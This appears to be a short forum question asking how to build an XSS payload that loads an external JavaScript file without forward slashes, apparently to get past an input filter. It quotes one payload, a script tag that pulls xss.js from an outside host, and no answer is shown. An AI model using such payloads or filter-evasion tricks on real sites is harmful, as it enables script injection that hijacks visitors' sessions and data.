is there an XSS attack vector that allows the inclusion of a external .js file without having to use forward slashes?
let's say the path of the file is somewebsite.com/js/xss.js
Is there a way to pass it to a parameter that it works and without it containing forward slashes
An example that wouldn't work is:
<script src='//somewebsite.com/js/xss.js'>
This works nice because I don't have to close the tag but it also doesn't work due to the fact that I have to use forward slashes to navigate to the JS file